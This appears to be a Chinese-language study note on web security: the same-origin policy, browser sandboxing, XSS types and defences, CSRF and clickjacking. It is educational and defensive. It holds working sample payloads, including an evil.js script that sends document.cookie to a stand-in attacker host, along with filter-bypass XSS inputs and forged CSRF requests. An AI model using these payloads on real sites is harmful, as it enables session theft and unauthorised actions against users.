Web安全

本文介绍web安全的相关知识

浏览器安全、xss未复习,csrf已复习

前端阅读室

浏览器安全

同源策略

同源策略是浏览器最核心也是最基本的安全功能。

同源意味着协议、host(域名或IP地址,如果是IP地址则看作一个根域名)、端口号相同。

浏览器的同源策略,限制了来自不同源的”document”或脚本,对当前”document”读取或设置某些属性。

script、img、iframe、link等标签都可以跨域加载资源,而不受同源策略的限制。这些带”src”属性的标签每次加载时实际上是由浏览器发起了一次GET请求。不同于XMLHttpRequest的是,通过src属性加载的资源,浏览器限制了JavaScript的权限,使其不能读、写返回的内容。XMLHttpRequest受到同源策略的约束,不能跨域访问资源。

但是互联网是开放的,跨域请求的需求也越来越迫切,因此W3C委员会制定了XMLHttpRequest跨域访问标准。它需要通过目标域返回的HTTP头来授权是否允许跨域访问,因为HTTP头对于JavaScript来说一般是无法控制的。

跨域访问请求过程

index.html -> Origin -> index.php
index.php -> Access-Control-Allow-Origin -> index.html

对于浏览器来说,除了DOM、Cookie、XMLHttpRequest会受到同源策略的限制外,浏览器加载的一些第三方插件也有各自的同源策略。如Flash、Java、Applet、Silverlight、Google Gears等都有自己的控制策略。

以Flash为例,它主要通过目标网站提供的crossdomain.xml文件判断是否允许当前”源”的Flash跨域访问目标资源。

www.qq.com/crossdomain.xml

1
2
3
4
<cross-domain-policy>
<allow-access-from domain="*.qq.com" />
<allow-access-from domain="*.gtimg.com" />
</cross-domain-policy>

只有来自.qq.com和.gtimg.com域的请求是被允许的。

在Flash9及之后的版本中,还实现了MIME检查以确认crossdomain.xml是否合法,比如查看服务器返回HTTP头的Content-Type是否是text/*、application/xml、application/xhtml+xml。这样做的原因,是因为攻击者可以通过上传crossdomain.xml文件控制Flash的行为,绕过同源策略。除了MIME检查外,Flash还会检查crossdomain.xml是否在根目录下,也可以使得一些上传文件的攻击失效。

然而,一些浏览器的同源策略也曾被绕过,比如这个IE8的CSS漏洞

www.a.com/test.html:

1
2
3
4
5
<body>
{}body{font-family:
aaaaaaaaaaaa
bbbbbbbbbbbbbbbbbbb
</body>

www.b.com/test2.html:

1
2
3
4
5
6
7
8
9
<style>
@import url("http://www.a.com/test.html");
</style>
<script>
setTimeout(function () {
var t = document.body.currentStyle.fontFamily;
alert(t);
}, 2000);
</script>

www.b.com/test2.html中通过@import加载了http://www.a.com/test.html 为CSS文件,渲染进入当前页面DOM,同时通过document.body.currentStyle.fontFamily 访问此内容。问题发生在IE的CSS Parse的过程中,IE将fontFamily后面的内容当做了value,从而可以读取www.a.com/test.html的页面内容。会弹出

1
2
3
  aaaaaaaaaaaa
bbbbbbbbbbbbbbbbbbb
</body>

我们前面提到,script等标签仅能加载资源,但不能读、写资源的内容,而这个漏洞能够跨域读取页面内容,因此绕过了同源策略,成为一个跨域漏洞。

浏览器沙箱

在网页中插入一段恶意代码,利用浏览器漏洞执行代码,在用户电脑中植入木马,称为”挂马”。

Sandbox即沙箱,泛指”资源隔离类模块”的代名词。其设计的目的一般是为了让不可信任的代码运行在一定的环境中,限制不可信任代码访问隔离区之外的资源。如果一定要跨越Sandbox边界产生数据交换,则只能通过指定的数据通道。比如经过封装的API来完成,在这些API中会严格检查请求的合法性。

浏览器大多采用多进程架构,各个功能模块分开,各个浏览器实例分开。当一个进程崩溃时,不会影响到其他进程。如Google渲染进程由Sandbox隔离,网页代码与浏览器内核进程、操作系统进行通信都需要通过IPC channel,在其中会进行一些安全检查。

采用Sandbox技术,可以让不信任的网页代码、JavaScript代码运行在一个受到限制的环境中,从而保护本地桌面系统的安全。

但是浏览器安全是一个整体,浏览器所加载的一些第三方插件却往往不受Sandbox管辖,比如Flash、Java、PDF、.Net Framework都是浏览器攻击的热点。

恶意网址拦截

目前各个浏览器的恶意网址拦截功能都是基于”黑名单”的。一般浏览器周期性地从服务器端获取一份最新的恶意网址黑名单。如果用户上网时访问的网址存在于此黑名单中,浏览器就会弹出一个警告页面。

常见的恶意网址分为两类:一类是挂马网站,另一类是钓鱼网站,通过模仿知名网站的相似页面来欺骗用户。

除了恶意网址黑名单拦截功能,主流浏览器都开始支持EV SSL证书,其主要特色是浏览器会给予EV SSL证书特殊待遇,如在地址栏特别标注。

高速发展的浏览器安全

IE8推出的XSS Filter功能。当用户访问的URL中包含了XSS攻击的脚本时,IE会修改其中的关键字符使得攻击无效,并对用户弹出提示框。

Firefox4推出的CSP,由服务器返回一个HTTP头,并在其中描述页面应该遵循的安全策略。

浏览器的拓展与插件也会带来安全问题,除了插件可能存在漏洞外,插件其本身也可能存在恶意行为。

跨站脚本攻击(XSS)详解

XSS简介

XSS(Cross Site Script)攻击,通常指黑客通过”HTML注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

一开始,这种攻击的演示案例是跨域的,所以叫做”跨站脚本”。现在是否跨域已经不再重要,但是名字一直沿用下来。

XSS长期以来被列为客户端Web安全中的头号大敌。因为XSS破坏力强大,且产生的场景复杂,难以一次性解决。

下面举个XSS的例子

假如用户把页面输入的参数直接输出到页面上:

1
2
3
4
5
6
<?php

$input = $_GET["param"];
echo "<div>".$input."</div>";

?>

如果用户提交了一段HTML代码

1
http://www.test.com/test.php?param=<script>alert(/xss/)</script>

alert(/xss/)就会在页面中执行,弹出框显示/xss/。

这个例子就是XSS的一种:反射型XSS。

根据效果的不同,XSS可以分为三类

  1. 反射型XSS

反射型XSS只是简单地把用户输入的数据”反射“给浏览器。也就是说黑客往往需要诱使用户”点击“一个恶意链接,才能攻击成功。反射型XSS也叫”非持久型XSS”。

  1. 存储型XSS

存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。

比较常见的,黑客写下一篇包含恶意JavaScript代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在他们的浏览器中执行这段恶意的JavaScript代码。黑客把恶意脚本保存在了服务端,这种XSS攻击就叫做“存储型XSS”。存储型XSS也叫做“持久型XSS”。

  1. DOM Based XSS

DOM Based XSS从效果上来说也是反射型XSS,单独划分出来是因为它的形成原因比较特殊,发现它的安全专家提出了这种类型的XSS。出于历史原因把它单独作为一个分类了。

通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。

下面举个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<script>
function test() {
var str = document.getElementById('text').value;
document.getElementById('t').innerHTML = "<a href='" + str + "' >testLink</a>";
}
</script>

<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />
</body>
</html>

输入框构造如下数据:

1
' onclick=alert(/xss/) //

它先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符“//”注释掉第二个引号。
输入后,页面代码变成了:

1
<a href="" onclick="alert(/xss/)" '>testLink</a>

点击新生成的这个链接,脚本将被执行。

其实这里还有另外一种利用方式,还可以选择闭合掉<a>标签,并插入一个新的HTML标签。尝试如下输入:

1
'><img src=# onerror=alert(/xss2/) /><'

页面代码变成了

1
2
3
4
<a href="">
<img src="#" onerror="alert(/xss2/)"><''>
testLink
</a>

脚本直接被执行,弹出/xss2/。

XSS攻击进阶

初识XSS Payload

XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为”XSS Payload”。

XSS Payload实际上就是JavaScript脚本(还可以是Flash或其他富客户端的脚本),所以任何JavaScript脚本能实现的功能,XSS Payload都能做到。

一个最常见的XSS Payload,就是通过读取浏览器对象,从而发起“Cookie劫持”攻击。

Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。也就是,你可以在不知道密码的情况下直接登录用户账户。

下面举个例子,攻击者先加载一个远程脚本:

1
http://www.a.com/test.html?abc="><script src=http://www.evil.com/evil.js></script>

真正的XSS Payload写在这个脚本中,避免直接在URL参数中写入大量的JavaScript代码。

evil.js代码如下,它将document.cookie对象发送到了远端服务器

1
2
3
var img = document.createElement('img');
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

Cookie的”HttpOnly”标识可以防止“Cookie劫持”,我们将在稍后具体介绍。

强大的XSS Payload

“Cookie劫持”并非所有的时候都会有效。有的网站可能会在Set-Cookie时给关键Cookie植入HttpOnly标识;有的网站可能会把Cookie与客户端IP绑定。尽管如此,攻击者还是有很多方式能够控制用户的浏览器。

构造GET和POST请求

假设有篇博客所在域的某页面存在XSS漏洞,正常删除文章的链接是:

1
http://blog.com/article?m=delete&id=123

那么攻击者只需要知道文章的id,皆可以通过这个请求删除这篇文章了。

1
2
3
var img = document.createElement('img');
img.src = 'http://blog.com/article?m=delete&id=123';
document.body.appendChild(img);

攻击者只需要让博客作者执行这段JavaScript代码(XSS Payload),就会把这篇文章删除。

对于POST请求,可以这样实现

第一个种方法

1
2
3
4
5
6
7
8
9
10
11
var f = document.createElement('form');
f.action = "";
f.method = "post";
document.body.appendChild(f);

var i1 = document.createElement('input');
i1.name = 'name';
i1.value = 'value';
f.appendChild(i1);

f.submit();

如果参数很多,通过构造DOM节点的方式,代码将十分冗长。可以通过innerHTML直接写html字符串的方式构造。

第二种方法可以使用XMLHttpRequest直接发送一个POST请求。

XSS钓鱼

前面介绍的,XSS的攻击过程都是在浏览器中通过JavaScript脚本自动进行的,也就是说,缺少“与用户交互”的过程。

比如之前“通过POST表单发消息”的例子,如果要求用户输入验证码,那么一般的XSS Payload都会失效。此外,在大多数“修改用户密码”的功能中,都会要求用户输入原密码,而攻击者往往是不知道的。

但这也不能限制住XSS。

对于验证码,XSS Payload可以通过读取页面内容,将验证码的图片URL发送到远端服务器——攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload。

修改密码的问题稍微复杂点,攻击者可以将XSS与“钓鱼”相结合。利用JavaScript实现一个伪造的登录框,当用户输入用户名和密码后,将密码发送至黑客的服务上。

识别用户浏览器

攻击者为了获取更大的利益,往往需要准确地收集用户的个人信息。比如知道用户使用的浏览器、操作系统,就有可能实施一次精准的浏览器内存攻击,最后给用户电脑植入一个木马。

比如使用XSS读取浏览器的UserAgent对象

1
alert(navigator.userAgent);

但是这个对象是可以伪造的,所以信息不一定准确。

可以有另外一种技巧,来更准确地识别用户的浏览器版本

由于浏览器之间的实现存在差异,同一个浏览器不同版本之前可能也有细微的差别。通过判断这些差异,就能准确的识别出浏览器版本。

比如:

1
if (window.ActiveXObject) // MSIE 6.0 or below

识别用户安装的软件

在IE中,可以通过判断ActiveX控件的classid是否存在,来判断用户是否安装了该软件,选择对应的浏览器漏洞,最终达到植入木马的目的。

一些第三方软件也可能会泄漏一些信息。比如Flash有一个system.capabilities对象,能够查询客户端电脑中的硬件信息。

浏览器的扩展和插件也能被XSS Payload扫描出来。比如Firefox的插件(Plugin)列表存放在一个DOM对象中,通过查询DOM可以遍历所有的插件。

CSS History Hack

通过CSS可以获取一个用户曾经访问过的网站。其原理利用的是style的visited属性。如果用户曾经访问过某个链接,那么这个链接的颜色会变得与众不同。

获取用户的真实IP地址

很多时候,用户电脑使用了代理服务器,或者在局域网中隐藏在NAT后面。网站看到的客户端IP地址,是内网的出口IP地址,而并非用户电脑真实的本地IP地址。如何才能知道用户的本地IP地址呢?

JavaScript本身并没有提供获取本地IP地址的能力,XSS攻击需要借助第三方软件来完成。比如,客户端安装了Java环境(JRE),那么XSS就可以通过调用Java Applet的接口获取客户端的本地IP地址。

除了Java之外,一些ActiveX控件可能也会提供接口查询本地IP地址。这些功能比较特殊,需要具体情况具体分析。

XSS攻击平台

有安全研究者将许多功能封装起来,称为XSS攻击平台。这些平台主要是为了演示XSS的危害,以及方便渗透测试使用。

终极武器:XSS Worm

XSS也能形成蠕虫

Samy Worm

在2005年有年仅19岁的Samy Kamkar对MySpace.com发起的,这是Web安全史上第一个重量级的XSS Worm。

首先,Myspace网站过滤掉了很多危险的标签,所有的事件如”onclick“等也被过滤了。但是它允许用户控制标签的style属性,通过style还是有办法构造出XSS的

1
<div style="background:url('javascript:alert(1)')">

其次,Myspace同时还过滤了‘javasript’、‘onreadystatechange’等敏感词,所以Samy用了”拆分法“绕过这些限制。

最后,Samy通过AJAX构造的POST请求,完成了在用户的heros列表里添加自己名字的功能:同时复制蠕虫自身进行传播。

XSS Worm是XSS的一种终极利用方式,它的破坏力和影响力是巨大的。但是发起它是有一定条件的。

一般来说,用户之间发生交互行为的页面,如果存在存储型XSS,则比较容易发起XSS Worm攻击。

比如,发送站内信、用户留言等页面,都是XSS Worm的高发区。

XSS构造技巧

利用字符编码

”百度搜藏”曾经在一个<script>标签中输出了一个变量

1
var redirectUrl = "\";alert(/xss/);";

变量处于双引号内,系统转义了双引号导致变量无法“escape”。

但是,返回页面是GBK/GB2312编码的,因此”%c1\“这两个字符组合在一起后,会成为一个Unicode字符。所以构造:

1
%c1";alert(/xss/);//

并提交,得到如下效果

1
var readirectUrl = "乱码";alert(2);//";

绕过长度限制

1
<input type=text value="$var" />

如果服务器对$var做个严格的长度限制,假如长度限制为20个字节

攻击者这样构造:

1
$var 为: "><script>alert(/xss/)</script>

超过了长度。

这样构造

1
$var 为: "onclick=alert(1)//

不会超过长度限制

最好的办法是将XSS Payload写到别处,再通过简短的代码加载它。

最常用的一个”藏代码“的地方,就是”localtion.hash”,它的内容不会在HTTP包中发送,所以服务器端的Web日志中并不会记录下location.hash里的内容。

1
$var 修改为: " onclick="eval(location.hash.substr(1))

当然,还可以使用远程加载js的方法,以避免浏览器地址栏长度的限制。

使用标签

<base>标签并不常用,它定义页面上所有使用”相对路径”标签的hosting地址。它可以出现在页面的任何地方,并作用于位于该标签之后的所有标签。

攻击可以在页面中插入<base>标签,通过在远程服务器伪造图片、链接或脚本,劫持当前页面中所使用“相对路径”的标签

所以在设计XSS安全方案时,一定要过滤掉这个危险的标签。

window.name

window对象是浏览器的窗体,很多时候window对象不受同源策略限制,可以实现跨域、跨页面传递数据。

使用window.name可以缩短XSS Payload的长度

1
2
3
4
<script>
window.name = "alert(document.cookie)";
location.href = "http://www.xss.com"
</script>

在同一个窗口打开XSS的站点后,只需要通过XSS执行代码

1
eval(window.name);

Apache Expect Header XSS

向服务器提交

1
Expect: <script>alert('xss');</script>

当服务器出错返回时,Expect头的内容未经任何处理便会写入页面。对于XSS攻击来说,JavaScript工作在渲染后的浏览器环境中,无法控制用户浏览器发出的HTTP头。该漏洞当初被认为是一个鸡肋。

但是,使用Flash,可以自定义大多数请求的HTTP头。因此,Flash在新版本中禁止用户发送Expect头。但后来发现可以通过注入HTTP头的方式绕过这个限制,Flash目前已经修补了该问题。

此类攻击,还可以通过Java Applet等构造HTTP请求的第三方插件来实现。

Anehta的回旋镖

反射型XSS也可能像存储型XSS一样利用。

回旋镖的思路是:如果在B域上存在一个反射型“XSS_B”,在A域上存在一个存储型“XSS_A”,当用户访问A域上的“XSS_A”时,同时嵌入B域上的“XSS_B“,则可以达到在A域的XSS攻击B域用户的目的。

我们知道,在IE中,<iframe><img><link>等标签都会拦截”第三方Cookie“的发送。在Firefox则无这种限制(第三方Cookie指得是保存在本地的Cookie,也就是服务器设置了expire时间的Cookie)。

所以对于Firefox,只需要在XSS_A处嵌入一个iframe即可

1
<iframe src="http://www.b.com/?xss..."></iframe>

对于IE,为了达到执行XSS_B的目的,可以使用一个<form>标签,在浏览器提交form表单时,不会拦截第三方Cookie的发送。因此,先在XSS_A上写一个<form>,自动提交到XSS_B,然后在XSS_B中再跳转回原来的XSS_A,完成了一个”回旋镖“。这种攻击的缺点是,用户会看到地址栏的变化。

Flash XSS

在Flash中是可以嵌入ActionScript脚本的,

1
getURL("javascript:alert(document.cookie)");

使用<embed>将Flash嵌入页面中。

在实现XSS Filter时,一般会禁用<embed><object>等标签。后者甚至可以加载ActiveX控件。

如果网站一定要使用Flash,如果仅仅是视频文件,则要求其转码为”flv文件“。flv是静态文件,不会产出安全隐患。如果是带动态脚本的Flash,可以通过Flash的配置参数限制。

限制Flash动态脚本的最重要的参数是”allowScriptAccess“,这个参数定义了Flash能否与HTML页面进行通信。它有三个可选值:

1.always 不做任何限制

2.sameDomain 只允许来自于本域的Flash与Html通信,默认值

3.nerver 禁止

allowNetworking 也非常关键,它能控制Flash与外部网络进行通信

1.all 允许所有网络 默认值

2.internal 不能与浏览器通信如navigateToURL,但可以调用其他的API

3.none 禁止

除了用户上传的Flash文件能够实施脚本攻击外,一些Flash也可能会产生XSS漏洞。

1
2
3
on (release) {
getURL(_root.clickTAG, "_blank");
}

这段代码缺乏输入验证,会被XSS攻击。

XSS的防御

HttpOnly

浏览器禁止页面的JavaScript访问带有HttpOnly属性的Cookie。它解决的是XSS后的Cookie劫持攻击。

HttpOnly是在服务器返回的响应头Set-Cookie上标记的:

1
2
3
Set-Cookie: <name>=<value>[; <Max-Age>=<age>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly]

输入检查

XSS要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。

输入检查的逻辑,必须放在服务端代码中实现。如果只是在客户端使用JavaScript进行输入检查,很容易被攻击者绕过。目前的普遍做法是,同时在客户端和服务端实现相同的输入检查。客户端检查可以阻挡大部分误操作的用户,从而节省服务器资源。

XSS输入检查一般会检查用户输入的数据中是否包含一些特殊字符,如<、>、’、“等,将这些字符过滤或者编码。

比较智能的输入检查,可能会匹配XSS的特征。比如查找用户数据中是否包含了<script>、javascript等敏感字符。

这种输入检查的方式,称为XSS Filter。

XSS Filter只获取了用户提交的数据进行检查,但是并没有结合渲染页面的HTML代码,因此对语境的理解并不完整。

例如:

1
<script src="$var"></script>

用户只需要提交一个恶意脚本所在的URL地址,即可实施XSS攻击。而大多数情况下,URL是合法的用户数据。

XSS Filter还有一个问题,对<、>的处理可能会改变用户语义。

比如

1
1+1<3

如果XSS Filter不够智能,粗暴地过滤或者替换<,则会改变用户原来的意思。

输出检查

既然输入检查存在这么多问题,那输出检查又如何呢?

一般来说,除了富文本输出外,在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。

安全的编码函数

编码分为很多种,针对HTML代码的编码方式是HtmlEncode。
HtmlEncode并非专有名词,它只是一种函数实现。它的作用是将字符转换成HTMLEntities,对应的标准是ISO-8859-1

为了对抗XSS,在HTMLEncode中要求至少转换以下字符:

1
2
3
4
5
6
& -> &amp;
< -> &lt;
> -> &gt;
" -> &quot;
' -> &#x27;
/ -> &#x2F

Javascript的编码方式可以使用JavaScriptEncode

它使用”\”对特殊字符进行转义。在对抗XSS时还要求输出的变量必须在引号内部,以避免造成安全问题。

比较两种写法

1
2
var x = escapeJavaScript($evil);
var y = '"'+escapeJavaScript($evil)+'"';

如果只是转义了几个危险字符,如’、”、<、>、\、&、#等,那么可能会输出

1
2
var x = 1;alert(2);
var y = "1;alert(2);";

攻击者即使想要逃脱出引号的范围,也会遇到困难。

1
var y = "\";alert(1);\/\/";

但是开发者没有这个习惯怎么办?

那就只能使用一个更加严格的JavaScriptEncode函数来保证安全了——除了数字、字母外的所有字符,都使用十六进制“\xHH”的方式进行编码

1
var x = 1;alert(2);

变成了

1
var x = 1\x3balert\x282\x29;

此外还有其他编码函数,如XMLEncode、JSONEncode等

只需要一种编码吗

XSS主要发生在MVC架构中的View层。大部分的XSS漏洞可以在模板系统中解决。

如Python的开发框架Django自带的模板系统”Django Templates”,可以使用escape进行HtmlEncode,并且在Django1.0中得到了加强——默认所有的变量都会被escape。

但这样还是不能完全避免XSS问题,需要“在正确的地方使用正确的编码方式”

例如

1
2
3
<body>
<a href=# onclick="alert('$var');" >test</a>
</body>

如果用户输入

1
$var = htmlencode("');alert('2");

对于浏览去器来说,htmlparser会优先于JavaScript Parser执行

经过解析后,结果为

1
2
3
<body>
<a href=# onclick="alert('');alert('2');" >test</a>
</body>

xss被注入。

xss发出的原因是,没有分清楚输出变量的语境,并非在模板引擎中使用了auto-escape就万事大吉了。

正确防御XSS

XSS的本质是一种“HTML注入”,想要根治XSS问题,可以列出所有XSS可能发生的场景,再一一解决。

在HTML标签中输出

1
2
<div>$var</div>
<a href=# >$var</a>

防御的方法是对变量使用HtmlEncode

在HTML属性中输出

1
<div id="abc" name="$var" ></div>

防御的方法是对变量也是使用HtmlEncode

在script标签中输出

首先应该确保输出的变量在引号中:

1
2
3
<script>
var x = "$var";
</script>

防御时使用JavaScriptEncode

在事件中输出

1
<a href=# onclick="funcA('$var')" >test</a>

防御方式和在script标签中输出类似

在CSS中输出

比如@import、url等直接加载XSS、expression(alert(‘xss’))等

一方面需尽可能避免用户可控制的变量在css中输出,如果必须有这样的需求,那么使用encodeForCSS

在地址栏输出

一般来说使用URLEncode即可,但是如果整个URL被用户完全控制,Protocal和Host是不能使用URLEncode的,否则会改变URL的语义。

[Protocal][Host][Path][Search][Hash]

例如https://www.evil.com/a/b/c/test?abc=123#ssss

对于如下的输出方式:

1
<a href="$var" >test</a>

攻击者可能会构造伪协议实施攻击

1
<a href="javascript:alert(1);" >test</a>

此外,“vbscript”、“dataURI”等伪协议也可以导致脚本执行。

一般来说,对于用户控制整个URL,应该先检查是否以“http”开头,如果不是则自动添加,以保证不会出现伪协议类的XSS攻击,然后再对变量进行URLEncode。

处理富文本

网站允许用户提交一些自定义的HTML代码,称之为富文本。

在处理富文本时,还是要回到“输入检查”的思路上来。“输入检查”的主要问题是检查时还不知道变量的输出语境。但富文本数据,其语义是完整的HTML,在输出时也不会拼凑到某个标签的属性中。因此,可以特殊对待。

通过htmlparser可以解析出HTML代码的标签、标签属性和事件。

在过滤富文本时,事件应该被严格禁止、而一些危险的标签,比如iframe、script、base、form等也是应该严格禁止的。在标签选择上,应该使用白名单。比如,只允许a、img、div等比较安全的标签。“白名单”同样应该用于属性和事件的选择。

在富文本过滤中,处理CSS也是一件麻烦的事,因此应该禁止用户自定义CSS和style。如果不能禁止,那就需要一个CSS Parser对样式进行智能分析,检查其中是否包含危险代码。

防御DOM Based XSS

DOM Based XSS前文提到的几种防御方法都不太适用。

DOM Based XSS是从JavaScript中输出数据到HTML页面里,而前文都是针对从服务器应用直接输出到HTML页面的XSS漏洞。

服务器执行了javascriptEscape,输出的数据又重新渲染到了页面中,对变量进行了解码,仍然会产生XSS。

正确的防御方法是,在$var输出到script时,执行一次javaScriptEncode,其次在输出到HTML页面时,如果输出到事件或者脚本,则要再做一次javaScriptEncode;如果输出到HTML内容或者属性,则再做一次HtmlEncode。

触发DOM Based XSS的地方有很多,以下几个地方是JavaScript输出到HTML页面的必经之路。

document.write()

document.writeln()

xxx.innerHTML=

xxx.outerHTML=

innerHTML.replace

document.attachEvent()

window.attachEvent()

document.location.replace()

document.location.assign()

需要重点关注这几个地方的参数是否可以被用户控制

除了服务器端直接输出变量到JavaScript外,还有以下几个地方可能成为DOM Based XSS的输出点,也需要重点关注。

inputs框

window.location(href、hash等)

window.name

document.referrer

document.cookie

localstorage

XMLHttpRequest返回的数据

换个角度看XSS的风险

前面都是从漏洞的形成原理上看的,如果从业务风险角度看则有不同的观点

一般来说,存储型XSSS的风险高于反射型。因为它保存在服务器上,有可能会跨页面存在。它不会改变页面URL的原有结构,因此有时候还能逃过一些IDS的检测。

从攻击过程来说,反射型XSS,一般要求攻击者诱使用户点击一个包含XSS代码的URL链接;而存储型XSS,则只需要让用户查看一个正常的URL链接。

从风险角度看,用户之间有互动的页面,是可能发起XSS Worm攻击的地方。而根据不同页面的PageView高低,也可以分析出哪些页面受XSS攻击后的影响更大。

在修补漏洞时遇到的最大挑战之一是漏洞数量太多,开发者不太来得及立刻修复所有漏洞。从业务风险角度来重新定位每个XSS漏洞,就具有了重要意义。

跨站点请求伪造(CSRF)

CSRF(Cross Site Request Forgery),跨站点请求伪造。

一个例子

攻击者首先在自己的域构造一个页面

1
http://www.a.com/csrf.html

其内容为

1
<img src="http://blog.com/article?m=delete&id=1" />

攻击者诱使目标用户(博主),访问这个页面,id=1的一篇博客文章就被删除了。

这里攻击者以该用户身份(本质上是发送了Cookie)在第三方站点里发送了请求,这个请求是攻击者伪造的,所以叫”跨站点请求伪造”。

浏览器的Cookie策略

浏览器所持有的Cookie分为两种:

一种是”Session Cookie”,又称”临时Cookie”;另一种是”Third-party Cookie”,也称为”本地Cookie”。Third-party Cookie服务器指定了Expire时间,会保存在本地。Session Cookie没有指定Expire时间,保存在浏览器进程的内存空间中,新打开的Tab页也是有效的,但浏览器关闭后就失效了。

一个域加载另一个域的资源(比如使用img、iframe、script、link等标签),由于安全原因,许多浏览器会阻止Third-party Cookie的发送,只能发送Session Cookie。而某些浏览器不会阻止,前面删除文章的例子就是在不会阻止Third-party Cookie发送的浏览器中实现的。

P3P头的副作用

浏览器拦截第三方Cookie发送,在某种程度上降低了CSRF攻击的威力。

但是P3P Header会是问题复杂起来,它是W3C制定的一项关于隐私的标准,如果网站返回给浏览器的HTTP头中包含有P3P头,将允许浏览器发送第三方Cookie。它主要用于需要跨域访问页面的场景,如父页面b嵌入了iframe,iframe的src指向的a页面网址,a页面响应头有Set-Cookie。一般情况下由于跨域,在a.com上Set-Cookie是不会成功的,但是加入P3P头后,可以跨域Set-Cookie成功,浏览器也不会再拦截第三方Cookie的发送。P3P头只需要由网站设置一次即可,之后每次请求都会遵循此策略。

只有GET请求可以吗?

对于攻击者来说,有许多方法构造POST请求。

1.form表单

在页面中构造一个form表单,使用JavaScript自动提交这个表单。

2.Flash

Flash有多种方式能够发送网络请求,包括POST请求,如使用URLRequest、getURL、loadVars等。

CSRF Worm

2008年9月,国内安全组织80sec公布了一个百度的CSRF Worm。

它主要利用了两个接口:

1
http://msg.baidu.com/?...sn=用户账户&co=消息内容...

修改参数sn,可以对指定用户发送短消息。

而另一个接口能查询出某个用户的所有好友

1
http://frd.baidu.com/?...un=用户账户...

两者相结合,先让一个百度用户查看恶意页面后,给他所有好友发送一条短消息,消息中又包含一个恶意页面,使得好友将消息发送给他们的好友,就形成了一个CSRF Worm。

CSRF的防御

验证码

验证码可以强制用户与应用进行交互,只有在用户知情的情况下才会发送请求。但是,出于用户体验考虑,不能给所有接口都加上验证码,所以只能作为一种辅助的防御手段。

Referer Check

Referer的值一般是请求所在的页面,Referer Check可以被用于检查请求是否来自合法的”源“。

但是,服务器并非任何时候都可以取到Referer,很多用户处于隐私保护限制了Referer的发送。从Https跳转到http出于安全的考虑,浏览器也不会发送Referer。Flash一些低版本也可以伪造Referer。

所以不能依赖Referer来防御,但作为监控CSRF攻击的发生,倒是一种可行的方法。

Anti CSRF Token

这是业内的常用做法。

CSRF的本质是重要操作的所有参数都是可以被攻击者猜测到的。

我们在参数上增加一个参数Token,这个Token是随机的,Token可以放在用户的Session中,或者浏览器的Cookie中,在提交请求时,服务器需要验证请求的Token和用户的Session(或Cookie)是否一致,如果一致,则请求是合法的。

这是“不可预测性原则”的一种应用。

Token的使用原则

1.Token的生成一定要足够随机。

2.可以允许在一个用户的有效生命周期内,使用同一个Token。但如果是下个周期,则应该生成新的Token(如表单已提交)。

3.为了处理多个页面共存Token失效的问题,可以考虑生成多个有效的Token。

4.要注意Token的保密性,可以把Token放在表单内部,而非url上,把敏感操作由GET改为POST,避免Token泄漏。当然如果网站存在XSS漏洞,Token也会泄漏,所以安全防御的体系是相辅相成的。

点击劫持(ClickJacking)

什么是点击劫持

点击劫持是一种视觉上的欺骗手段。攻击者一般使用一个透明的、不可见的iframe,覆盖在一个网页上,然后诱使用户在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置,可以诱使用户恰好点击iframe页面的一些功能性按钮上。

通过控制iframe的长、宽,以及调整top、left位置,可以把iframe页面内任意部分覆盖到任何地方。同时设置iframe的position为absolute,并将z-index的值设置为最大,以达到让iframe处于页面的最上层。最后,再通过设置opacity来控制iframe页面的透明程度,值为0是完全不可见。

在CSRF攻击中,如果出现用户需要交互的页面,攻击可能无法完成。但是,点击劫持没有这个问题,因为它利用的就是与用户产生交互的页面。

Flash点击劫持

曾经有一个ClickJacking攻击案例,攻击者可以通过Flash构造了点击劫持,在完成一系列复杂的动作后,最终控制了用户电脑的摄像头。

攻击者制作了一个Flash游戏,这个游戏就是让用户去点击“CLICK”按钮,每次点击后这个按钮的位置都会发生变化。在Flash上面隐藏了一个看不见的iframe,攻击通过诱导用户鼠标点击就能完成较复杂的动作。

图片覆盖攻击

图片覆盖也可以起到类似的点击劫持的作用。(XSIO,Cross Site Image Overlaying)

通过调整图片的style可以使图片覆盖的任意指定位置。

1
<img style="position: absolute; right: 320px; top: 90px">

如果应用没有限制style的position为absolute的话,图片可以覆盖到页面上的任意位置。

用户点击图片,如果链接到一个钓鱼网站,用户可能就上当了。

图片还可以伪装得像一个正常的链接、按钮;或者在图片中构造一些文字,覆盖在关键的位置,就有可能完全改变页面中想表达的意思。这种情况下,不需要用户点击,也能达到欺骗的目的。比如,修改图片中的联系电话。

由于img标签在很多站点都是对用户开放的,在防御XSIO时,需要检查用户提交的HTML代码中,img标签的style属性是否可能导致浮出。

拖拽劫持与数据窃取

目前很多浏览器都支持Drag & Drop的API。浏览器中的拖拽对象可以是一个链接,也可以是一段文字,还可以从一个窗口拖拽到另一个窗口,因此拖拽是不受同源策略限制的。

拖拽劫持的思路是诱使用户从隐藏的不可见iframe中拖拽出攻击者希望得到的数据,然后放到攻击者能控制的另外一个页面中,从而窃取数据。

ClickJacking3.0:触屏劫持

安全研究者称其为TapJacking。

从手机OS的角度来看,触屏实际上就是一个事件,手机OS捕捉这些事件,并执行相应的动作。

常见的几个事件:

1
2
3
4
touchstart: 手指触摸屏幕时发生
touchend: 手指离开屏幕时发生
touchmove: 手指滑动时发生
touchcancel: 系统可取消touch事件

